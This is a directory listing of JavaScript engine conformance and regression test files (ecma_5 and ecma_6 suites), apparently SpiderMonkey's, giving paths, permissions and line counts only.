-rw-r--r--js/src/tests/ecma_5/Function/shell.js0
-rw-r--r--js/src/tests/ecma_5/Function/strict-arguments.js453
-rw-r--r--js/src/tests/ecma_5/Global/adding-global-var-nonextensible-error.js36
-rw-r--r--js/src/tests/ecma_5/Global/browser.js0
-rw-r--r--js/src/tests/ecma_5/Global/bug-320887.js15
-rw-r--r--js/src/tests/ecma_5/Global/bug660612.js7
-rw-r--r--js/src/tests/ecma_5/Global/cross-global-implicit-this.js84
-rw-r--r--js/src/tests/ecma_5/Global/decodeURI-decodes-FFFE-FFFF.js26
-rw-r--r--js/src/tests/ecma_5/Global/delete-global-NaN-property.js32
-rw-r--r--js/src/tests/ecma_5/Global/direct-eval-but-not.js32
-rw-r--r--js/src/tests/ecma_5/Global/eval-01.js38
-rw-r--r--js/src/tests/ecma_5/Global/eval-02.js38
-rw-r--r--js/src/tests/ecma_5/Global/eval-in-strict-eval-in-normal-function.js30
-rw-r--r--js/src/tests/ecma_5/Global/eval-inside-with-is-direct.js28
-rw-r--r--js/src/tests/ecma_5/Global/eval-native-callback-is-indirect.js32
-rw-r--r--js/src/tests/ecma_5/Global/parenthesized-eval-is-direct.js68
-rw-r--r--js/src/tests/ecma_5/Global/parseFloat-01.js24
-rw-r--r--js/src/tests/ecma_5/Global/parseInt-01.js170
-rw-r--r--js/src/tests/ecma_5/Global/parseInt-default-to-decimal.js31
-rw-r--r--js/src/tests/ecma_5/Global/shell.js0
-rw-r--r--js/src/tests/ecma_5/JSON/browser.js0
-rw-r--r--js/src/tests/ecma_5/JSON/cyclic-stringify-unrelated.js39
-rw-r--r--js/src/tests/ecma_5/JSON/cyclic-stringify.js100
-rw-r--r--js/src/tests/ecma_5/JSON/parse-arguments.js30
-rw-r--r--js/src/tests/ecma_5/JSON/parse-array-gc.js34
-rw-r--r--js/src/tests/ecma_5/JSON/parse-crockford-01.js121
-rw-r--r--js/src/tests/ecma_5/JSON/parse-mega-huge-array.js28
-rw-r--r--js/src/tests/ecma_5/JSON/parse-number-syntax.js32
-rw-r--r--js/src/tests/ecma_5/JSON/parse-octal-syntax-error.js8
-rw-r--r--js/src/tests/ecma_5/JSON/parse-primitives.js62
-rw-r--r--js/src/tests/ecma_5/JSON/parse-reviver-array-delete.js89
-rw-r--r--js/src/tests/ecma_5/JSON/parse-reviver.js45
-rw-r--r--js/src/tests/ecma_5/JSON/parse-syntax-errors-01.js13
-rw-r--r--js/src/tests/ecma_5/JSON/parse-syntax-errors-02.js43
-rw-r--r--js/src/tests/ecma_5/JSON/parse-syntax-errors-03.js55
-rw-r--r--js/src/tests/ecma_5/JSON/parse.js175
-rw-r--r--js/src/tests/ecma_5/JSON/shell.js112
-rw-r--r--js/src/tests/ecma_5/JSON/small-codepoints.js16
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-boxed-primitives.js127
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-call-replacer-once.js34
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-call-toJSON-once.js32
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-dropping-elements.js20
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-gap.js61
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-ignore-noncallable-toJSON.js28
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-large-replacer-array.js26
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-missing-arguments.js22
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-nonarray-noncallable-replacer.js41
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-primitives.js39
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-replacer-array-boxed-elements.js60
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-replacer-array-duplicated-element.js69
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-replacer-array-edgecase-jsid-elements.js77
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-replacer-array-hijinks.js59
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-replacer-array-skipped-element.js62
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-replacer-array-trailing-holes.js49
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-replacer-with-array-indexes.js56
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-replacer.js155
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-special-escapes.js227
-rw-r--r--js/src/tests/ecma_5/JSON/stringify-toJSON-arguments.js34
-rw-r--r--js/src/tests/ecma_5/JSON/stringify.js84
-rw-r--r--js/src/tests/ecma_5/JSON/trailing-comma.js32
-rw-r--r--js/src/tests/ecma_5/Number/15.7.4.2.js31
-rw-r--r--js/src/tests/ecma_5/Number/browser.js0
-rw-r--r--js/src/tests/ecma_5/Number/conversion-invalid-precision.js46
-rw-r--r--js/src/tests/ecma_5/Number/defaultvalue.js170
-rw-r--r--js/src/tests/ecma_5/Number/shell.js0
-rw-r--r--js/src/tests/ecma_5/Number/toString-radix-handling.js37
-rw-r--r--js/src/tests/ecma_5/Number/tonumber-string-hex.js38
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.12.js46
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.14-01.js92
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.3-01.js285
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.4-01.js30
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.4-02.js52
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.4-03.js55
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.4-04.js31
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.5-01.js60
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-define-over-method.js24
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-01-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-02-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-03-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-04-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-05-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-06-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-07-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-08-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-09-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-10-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-11-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-12-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-13-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-14-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-15-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-16-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-17-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-18-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-19-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-20-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-21-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-22-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-23-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-24-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-25-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-26-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-27-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-28-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-29-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-30-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-31-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-32-of-32.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-function-length.js35
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-1-of-8.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-2-of-8.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-3-of-8.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-4-of-8.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-5-of-8.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-6-of-8.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-7-of-8.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-8-of-8.js6
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-miscellaneous.js74
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-new-definition.js35
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-redefinition-1-of-4.js39
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-redefinition-2-of-4.js39
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-redefinition-3-of-4.js39
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.6-redefinition-4-of-4.js39
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.7-01.js137
-rw-r--r--js/src/tests/ecma_5/Object/15.2.3.9.js51
-rw-r--r--js/src/tests/ecma_5/Object/add-property-non-extensible.js118
-rw-r--r--js/src/tests/ecma_5/Object/browser.js0
-rw-r--r--js/src/tests/ecma_5/Object/clear-dictionary-accessor-getset.js55
-rw-r--r--js/src/tests/ecma_5/Object/defineProperties-callable-accessor.js19
-rw-r--r--js/src/tests/ecma_5/Object/defineProperty-setup.js1071
-rw-r--r--js/src/tests/ecma_5/Object/extensibility-01.js103
-rw-r--r--js/src/tests/ecma_5/Object/extensibility-02.js42
-rw-r--r--js/src/tests/ecma_5/Object/freeze-global-eval-const.js13
-rw-r--r--js/src/tests/ecma_5/Object/gOPD-vs-prototype-accessor.js15
-rw-r--r--js/src/tests/ecma_5/Object/getPrototypeOf-array.js32
-rw-r--r--js/src/tests/ecma_5/Object/isPrototypeOf.js86
-rw-r--r--js/src/tests/ecma_5/Object/mutation-prevention-methods.js124
-rw-r--r--js/src/tests/ecma_5/Object/object-create-with-primitive-second-arg.js8
-rw-r--r--js/src/tests/ecma_5/Object/object-toString-01.js46
-rw-r--r--js/src/tests/ecma_5/Object/preventExtensions-idempotent.js30
-rw-r--r--js/src/tests/ecma_5/Object/propertyIsEnumerable.js199
-rw-r--r--js/src/tests/ecma_5/Object/proto-property-change-writability-set.js56
-rw-r--r--js/src/tests/ecma_5/Object/shell.js0
-rw-r--r--js/src/tests/ecma_5/Object/toLocaleString.js102
-rw-r--r--js/src/tests/ecma_5/Object/vacuous-accessor-unqualified-name.js26
-rw-r--r--js/src/tests/ecma_5/README1
-rw-r--r--js/src/tests/ecma_5/RegExp/15.10.5-01.js21
-rw-r--r--js/src/tests/ecma_5/RegExp/15.10.7.5-01.js71
-rw-r--r--js/src/tests/ecma_5/RegExp/7.8.5-01.js35
-rw-r--r--js/src/tests/ecma_5/RegExp/browser.js0
-rw-r--r--js/src/tests/ecma_5/RegExp/empty-lookahead.js8
-rw-r--r--js/src/tests/ecma_5/RegExp/exec-lastIndex-ToInteger.js36
-rw-r--r--js/src/tests/ecma_5/RegExp/exec.js240
-rw-r--r--js/src/tests/ecma_5/RegExp/instance-property-storage-introspection.js131
-rw-r--r--js/src/tests/ecma_5/RegExp/regexp-space-character-class.js45
-rw-r--r--js/src/tests/ecma_5/RegExp/regress-429241.js200
-rw-r--r--js/src/tests/ecma_5/RegExp/regress-576828.js8
-rw-r--r--js/src/tests/ecma_5/RegExp/regress-613820-1.js9
-rw-r--r--js/src/tests/ecma_5/RegExp/regress-613820-2.js9
-rw-r--r--js/src/tests/ecma_5/RegExp/regress-613820-3.js9
-rw-r--r--js/src/tests/ecma_5/RegExp/regress-617935.js42
-rw-r--r--js/src/tests/ecma_5/RegExp/shell.js21
-rw-r--r--js/src/tests/ecma_5/String/15.5.4.11-01.js66
-rw-r--r--js/src/tests/ecma_5/String/15.5.4.2.js14
-rw-r--r--js/src/tests/ecma_5/String/15.5.4.7.js20
-rw-r--r--js/src/tests/ecma_5/String/browser.js0
-rw-r--r--js/src/tests/ecma_5/String/defaultvalue.js169
-rw-r--r--js/src/tests/ecma_5/String/match-defines-match-elements.js47
-rw-r--r--js/src/tests/ecma_5/String/match-forward-lookahead.js27
-rw-r--r--js/src/tests/ecma_5/String/match-throws-nonwritable-lastIndex-global.js88
-rw-r--r--js/src/tests/ecma_5/String/match-updates-global-lastIndex.js31
-rw-r--r--js/src/tests/ecma_5/String/replace-math.js38
-rw-r--r--js/src/tests/ecma_5/String/replace-throws-nonwritable-lastIndex-global.js126
-rw-r--r--js/src/tests/ecma_5/String/replace-updates-global-lastIndex.js38
-rw-r--r--js/src/tests/ecma_5/String/shell.js0
-rw-r--r--js/src/tests/ecma_5/String/split-01.js47
-rw-r--r--js/src/tests/ecma_5/String/split-undefined-separator.js37
-rw-r--r--js/src/tests/ecma_5/String/split-xregexp.js118
-rw-r--r--js/src/tests/ecma_5/String/string-object-length.js19
-rw-r--r--js/src/tests/ecma_5/String/string-space-trim.js16
-rw-r--r--js/src/tests/ecma_5/String/string-upper-lower-mapping.js65556
-rw-r--r--js/src/tests/ecma_5/Types/8.12.5-01.js110
-rw-r--r--js/src/tests/ecma_5/Types/browser.js0
-rw-r--r--js/src/tests/ecma_5/Types/shell.js0
-rw-r--r--js/src/tests/ecma_5/browser.js0
-rw-r--r--js/src/tests/ecma_5/eval/browser.js0
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-direct-normalcode.js208
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-direct-strictcode.js210
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-indirect-normalcode.js208
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-indirect-strictcode.js210
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-direct-normalcode.js212
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-direct-strictcode.js214
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-indirect-normalcode.js212
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-indirect-strictcode.js214
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-direct-normalcode.js172
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-direct-strictcode.js174
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-indirect-normalcode.js172
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-indirect-strictcode.js174
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-direct-normalcode.js173
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-direct-strictcode.js175
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-indirect-normalcode.js173
-rw-r--r--js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-indirect-strictcode.js175
-rw-r--r--js/src/tests/ecma_5/eval/line-terminator-paragraph-terminator.js73
-rw-r--r--js/src/tests/ecma_5/eval/shell.js0
-rw-r--r--js/src/tests/ecma_5/eval/undeclared-name-in-nested-strict-eval.js26
-rw-r--r--js/src/tests/ecma_5/extensions/15.4.4.11.js32
-rw-r--r--js/src/tests/ecma_5/extensions/15.9.4.2.js59
-rw-r--r--js/src/tests/ecma_5/extensions/8.12.5-01.js97
-rw-r--r--js/src/tests/ecma_5/extensions/Boolean-toSource.js17
-rw-r--r--js/src/tests/ecma_5/extensions/Number-toSource.js17
-rw-r--r--js/src/tests/ecma_5/extensions/String-methods-infinite-recursion.js36
-rw-r--r--js/src/tests/ecma_5/extensions/String-toSource.js14
-rw-r--r--js/src/tests/ecma_5/extensions/__proto__.js53
-rw-r--r--js/src/tests/ecma_5/extensions/arguments-property-access-in-function.js58
-rw-r--r--js/src/tests/ecma_5/extensions/array-inherited-__proto__.js32
-rw-r--r--js/src/tests/ecma_5/extensions/array-pop-proxy.js24
-rw-r--r--js/src/tests/ecma_5/extensions/array-toString-recursion.js46
-rw-r--r--js/src/tests/ecma_5/extensions/browser.js0
-rw-r--r--js/src/tests/ecma_5/extensions/bug472534.js30
-rw-r--r--js/src/tests/ecma_5/extensions/bug496985.js12
-rw-r--r--js/src/tests/ecma_5/extensions/bug566661.js6
-rw-r--r--js/src/tests/ecma_5/extensions/builtin-function-arguments-caller.js60
-rw-r--r--js/src/tests/ecma_5/extensions/cross-global-eval-is-indirect.js60
-rw-r--r--js/src/tests/ecma_5/extensions/cross-global-getPrototypeOf.js55
-rw-r--r--js/src/tests/ecma_5/extensions/destructuring-__proto__-shorthand-assignment-before-var.js49
-rw-r--r--js/src/tests/ecma_5/extensions/destructuring-__proto__-shorthand-assignment.js49
-rw-r--r--js/src/tests/ecma_5/extensions/destructuring-__proto__-target-assignment.js50
-rw-r--r--js/src/tests/ecma_5/extensions/destructuring-for-inof-__proto__.js85
-rw-r--r--js/src/tests/ecma_5/extensions/error-tostring-function.js45
-rw-r--r--js/src/tests/ecma_5/extensions/es5ish-defineGetter-defineSetter.js281
-rw-r--r--js/src/tests/ecma_5/extensions/eval-native-callback-is-indirect.js43
-rw-r--r--js/src/tests/ecma_5/extensions/extension-methods-reject-null-undefined-this.js112
-rw-r--r--js/src/tests/ecma_5/extensions/function-caller-skips-eval-frames.js34
-rw-r--r--js/src/tests/ecma_5/extensions/function-caller-strict-cross-global.js28
-rw-r--r--js/src/tests/ecma_5/extensions/function-definition-with.js56
-rw-r--r--js/src/tests/ecma_5/extensions/function-properties.js21
-rw-r--r--js/src/tests/ecma_5/extensions/getOwnPropertyNames-__proto__.js26
-rw-r--r--js/src/tests/ecma_5/extensions/inc-dec-functioncall.js90
-rw-r--r--js/src/tests/ecma_5/extensions/iterator-in-catch.js20
-rw-r--r--js/src/tests/ecma_5/extensions/misplaced-inconsistent-directive.js74
-rw-r--r--js/src/tests/ecma_5/extensions/nested-delete-name-in-evalcode.js85
-rw-r--r--js/src/tests/ecma_5/extensions/preventExtensions-cross-global.js49
-rw-r--r--js/src/tests/ecma_5/extensions/proxy-array-target-length-definition.js55
-rw-r--r--js/src/tests/ecma_5/extensions/proxy-enumeration.js4
-rw-r--r--js/src/tests/ecma_5/extensions/proxy-strict.js12
-rw-r--r--js/src/tests/ecma_5/extensions/regress-bug567606.js19
-rw-r--r--js/src/tests/ecma_5/extensions/regress-bug607284.js16
-rw-r--r--js/src/tests/ecma_5/extensions/regress-bug629723.js16
-rw-r--r--js/src/tests/ecma_5/extensions/reviver-mutates-holder-array-ccw.js39
-rw-r--r--js/src/tests/ecma_5/extensions/reviver-mutates-holder-array-nonnative.js46
-rw-r--r--js/src/tests/ecma_5/extensions/reviver-mutates-holder-array.js39
-rw-r--r--js/src/tests/ecma_5/extensions/reviver-mutates-holder-object-ccw.js56
-rw-r--r--js/src/tests/ecma_5/extensions/reviver-mutates-holder-object-nonnative.js60
-rw-r--r--js/src/tests/ecma_5/extensions/reviver-mutates-holder-object.js56
-rw-r--r--js/src/tests/ecma_5/extensions/shell.js0
-rw-r--r--js/src/tests/ecma_5/extensions/strict-function-statements.js94
-rw-r--r--js/src/tests/ecma_5/extensions/strict-function-toSource.js17
-rw-r--r--js/src/tests/ecma_5/extensions/strict-option-redeclared-parameter.js30
-rw-r--r--js/src/tests/ecma_5/extensions/string-literal-getter-setter-decompilation.js34
-rw-r--r--js/src/tests/ecma_5/extensions/toLocaleString-infinite-recursion.js31
-rw-r--r--js/src/tests/ecma_5/extensions/toSource-infinite-recursion.js34
-rw-r--r--js/src/tests/ecma_5/extensions/watch-array-length.js41
-rw-r--r--js/src/tests/ecma_5/extensions/watch-inherited-property.js38
-rw-r--r--js/src/tests/ecma_5/extensions/watch-replaced-setter.js46
-rw-r--r--js/src/tests/ecma_5/extensions/watch-setter-become-setter.js44
-rw-r--r--js/src/tests/ecma_5/extensions/watch-value-prop-becoming-setter.js43
-rw-r--r--js/src/tests/ecma_5/extensions/watchpoint-deletes-JSPropertyOp-setter.js56
-rw-r--r--js/src/tests/ecma_5/misc/browser.js0
-rw-r--r--js/src/tests/ecma_5/misc/bug1126318.js13
-rw-r--r--js/src/tests/ecma_5/misc/builtin-methods-reject-null-undefined-this.js153
-rw-r--r--js/src/tests/ecma_5/misc/enumerate-undefined.js24
-rw-r--r--js/src/tests/ecma_5/misc/error-undefined-message.js7
-rw-r--r--js/src/tests/ecma_5/misc/explicit-undefined-optional-argument.js34
-rw-r--r--js/src/tests/ecma_5/misc/function-definition-eval.js348
-rw-r--r--js/src/tests/ecma_5/misc/function-definition-evaluate.js344
-rw-r--r--js/src/tests/ecma_5/misc/future-reserved-words.js463
-rw-r--r--js/src/tests/ecma_5/misc/getter-setter-outerize-this.js21
-rw-r--r--js/src/tests/ecma_5/misc/global-numeric-properties.js59
-rw-r--r--js/src/tests/ecma_5/misc/line-paragraph-separator-parse-as-lineterminator.js51
-rw-r--r--js/src/tests/ecma_5/misc/new-with-non-constructor.js32
-rw-r--r--js/src/tests/ecma_5/misc/redeclare-var-non-writable-property.js24
-rw-r--r--js/src/tests/ecma_5/misc/regexp-functions-with-undefined.js43
-rw-r--r--js/src/tests/ecma_5/misc/regress-bug632003.js63
-rw-r--r--js/src/tests/ecma_5/misc/shell.js0
-rw-r--r--js/src/tests/ecma_5/misc/syntax-error-end-of-for-head-part.js51
-rw-r--r--js/src/tests/ecma_5/misc/unicode-escaped-keyword.js22
-rw-r--r--js/src/tests/ecma_5/misc/unicode-identifier-1d17.js16
-rw-r--r--js/src/tests/ecma_5/misc/unicode-identifier-82f1.js16
-rw-r--r--js/src/tests/ecma_5/misc/unnamed-function.js45
-rw-r--r--js/src/tests/ecma_5/misc/unwrapped-no-such-method.js13
-rw-r--r--js/src/tests/ecma_5/shell.js154
-rw-r--r--js/src/tests/ecma_5/strict/10.4.2.js55
-rw-r--r--js/src/tests/ecma_5/strict/10.4.3.js58
-rw-r--r--js/src/tests/ecma_5/strict/10.6.js55
-rw-r--r--js/src/tests/ecma_5/strict/11.1.5.js171
-rw-r--r--js/src/tests/ecma_5/strict/11.13.1.js29
-rw-r--r--js/src/tests/ecma_5/strict/11.13.2.js29
-rw-r--r--js/src/tests/ecma_5/strict/11.3.1.js29
-rw-r--r--js/src/tests/ecma_5/strict/11.3.2.js29
-rw-r--r--js/src/tests/ecma_5/strict/11.4.1.js45
-rw-r--r--js/src/tests/ecma_5/strict/11.4.4.js29
-rw-r--r--js/src/tests/ecma_5/strict/11.4.5.js29
-rw-r--r--js/src/tests/ecma_5/strict/12.10.1.js30
-rw-r--r--js/src/tests/ecma_5/strict/12.14.1.js37
-rw-r--r--js/src/tests/ecma_5/strict/12.2.1.js25
-rw-r--r--js/src/tests/ecma_5/strict/13.1.js345
-rw-r--r--js/src/tests/ecma_5/strict/15.10.7.js15
-rw-r--r--js/src/tests/ecma_5/strict/15.3.4.5.js26
-rw-r--r--js/src/tests/ecma_5/strict/15.3.5.1.js16
-rw-r--r--js/src/tests/ecma_5/strict/15.3.5.2.js16
-rw-r--r--js/src/tests/ecma_5/strict/15.4.4.12.js50
-rw-r--r--js/src/tests/ecma_5/strict/15.4.4.13.js50
-rw-r--r--js/src/tests/ecma_5/strict/15.4.4.6.js28
-rw-r--r--js/src/tests/ecma_5/strict/15.4.4.8.js50
-rw-r--r--js/src/tests/ecma_5/strict/15.4.4.9.js50
-rw-r--r--js/src/tests/ecma_5/strict/15.4.5.1.js84
-rw-r--r--js/src/tests/ecma_5/strict/15.5.5.1.js26
-rw-r--r--js/src/tests/ecma_5/strict/15.5.5.2.js15
-rw-r--r--js/src/tests/ecma_5/strict/8.12.5.js82
-rw-r--r--js/src/tests/ecma_5/strict/8.12.7-2.js21
-rw-r--r--js/src/tests/ecma_5/strict/8.12.7.js32
-rw-r--r--js/src/tests/ecma_5/strict/8.7.2.js56
-rw-r--r--js/src/tests/ecma_5/strict/B.1.1.js31
-rw-r--r--js/src/tests/ecma_5/strict/B.1.2.js38
-rw-r--r--js/src/tests/ecma_5/strict/assign-to-callee-name.js42
-rw-r--r--js/src/tests/ecma_5/strict/browser.js0
-rw-r--r--js/src/tests/ecma_5/strict/directive-prologue-01.js78
-rw-r--r--js/src/tests/ecma_5/strict/eval-variable-environment.js67
-rw-r--r--js/src/tests/ecma_5/strict/primitive-assignment.js23
-rw-r--r--js/src/tests/ecma_5/strict/primitive-this-getter.js56
-rw-r--r--js/src/tests/ecma_5/strict/primitive-this-no-writeback.js20
-rw-r--r--js/src/tests/ecma_5/strict/rebind-eval-should-fail-in-strict-mode.js39
-rw-r--r--js/src/tests/ecma_5/strict/regress-532041.js17
-rw-r--r--js/src/tests/ecma_5/strict/regress-532254.js13
-rw-r--r--js/src/tests/ecma_5/strict/regress-599159.js33
-rw-r--r--js/src/tests/ecma_5/strict/shell.js0
-rw-r--r--js/src/tests/ecma_5/strict/strict-this-is-not-truthy.js12
-rw-r--r--js/src/tests/ecma_5/strict/this-for-function-expression-recursion.js44
-rw-r--r--js/src/tests/ecma_5/strict/unbrand-this.js45
-rw-r--r--js/src/tests/ecma_5/template.js28
-rw-r--r--js/src/tests/ecma_6/Array/browser.js0
-rw-r--r--js/src/tests/ecma_6/Array/concat-proxy.js25
-rw-r--r--js/src/tests/ecma_6/Array/concat-spreadable-basic.js37
-rw-r--r--js/src/tests/ecma_6/Array/concat-spreadable-primitive.js34
-rw-r--r--js/src/tests/ecma_6/Array/fill.js97
-rw-r--r--js/src/tests/ecma_6/Array/find_findindex.js285
-rw-r--r--js/src/tests/ecma_6/Array/for_of_1.js138
-rw-r--r--js/src/tests/ecma_6/Array/for_of_2.js58
-rw-r--r--js/src/tests/ecma_6/Array/for_of_3.js60
-rw-r--r--js/src/tests/ecma_6/Array/for_of_4.js64
-rw-r--r--js/src/tests/ecma_6/Array/from_basics.js51
-rw-r--r--js/src/tests/ecma_6/Array/from_constructor.js56
-rw-r--r--js/src/tests/ecma_6/Array/from_errors.js152
-rw-r--r--js/src/tests/ecma_6/Array/from_iterable.js50
-rw-r--r--js/src/tests/ecma_6/Array/from_length_setter.js13
-rw-r--r--js/src/tests/ecma_6/Array/from_mapping.js41
-rw-r--r--js/src/tests/ecma_6/Array/from_primitive.js21
-rw-r--r--js/src/tests/ecma_6/Array/from_proxy.js55
-rw-r--r--js/src/tests/ecma_6/Array/from_realms.js37
-rw-r--r--js/src/tests/ecma_6/Array/from_string.js23
-rw-r--r--js/src/tests/ecma_6/Array/from_surfaces.js13
-rw-r--r--js/src/tests/ecma_6/Array/from_this.js48
-rw-r--r--js/src/tests/ecma_6/Array/getter-name.js9
-rw-r--r--js/src/tests/ecma_6/Array/indexOf-never-returns-negative-zero.js4
-rw-r--r--js/src/tests/ecma_6/Array/isArray.js67
-rw-r--r--js/src/tests/ecma_6/Array/iterator_edge_cases.js50
-rw-r--r--js/src/tests/ecma_6/Array/lastIndexOf-never-returns-negative-zero.js4
-rw-r--r--js/src/tests/ecma_6/Array/shell.js0
-rw-r--r--js/src/tests/ecma_6/Array/shift_for_in.js13
-rw-r--r--js/src/tests/ecma_6/Array/sort_basics.js46
-rw-r--r--js/src/tests/ecma_6/Array/sort_holes.js66
-rw-r--r--js/src/tests/ecma_6/Array/sort_proxy.js38
-rw-r--r--js/src/tests/ecma_6/Array/sort_small.js33
-rw-r--r--js/src/tests/ecma_6/Array/species.js182
-rw-r--r--js/src/tests/ecma_6/Array/to-length.js40
-rw-r--r--js/src/tests/ecma_6/Array/toLocaleString-nointl.js26
-rw-r--r--js/src/tests/ecma_6/Array/toLocaleString.js14
-rw-r--r--js/src/tests/ecma_6/Array/unscopables.js51
-rw-r--r--js/src/tests/ecma_6/Array/values.js20
-rw-r--r--js/src/tests/ecma_6/ArrayBuffer/CloneArrayBuffer.js35
-rw-r--r--js/src/tests/ecma_6/ArrayBuffer/browser.js0
-rw-r--r--js/src/tests/ecma_6/ArrayBuffer/constructorNotCallable.js8
-rw-r--r--js/src/tests/ecma_6/ArrayBuffer/getter-name.js10
-rw-r--r--js/src/tests/ecma_6/ArrayBuffer/shell.js0
-rw-r--r--js/src/tests/ecma_6/ArrayBuffer/slice-species.js180
-rw-r--r--js/src/tests/ecma_6/ArrowFunctions/browser.js0
-rw-r--r--js/src/tests/ecma_6/ArrowFunctions/shell.js0
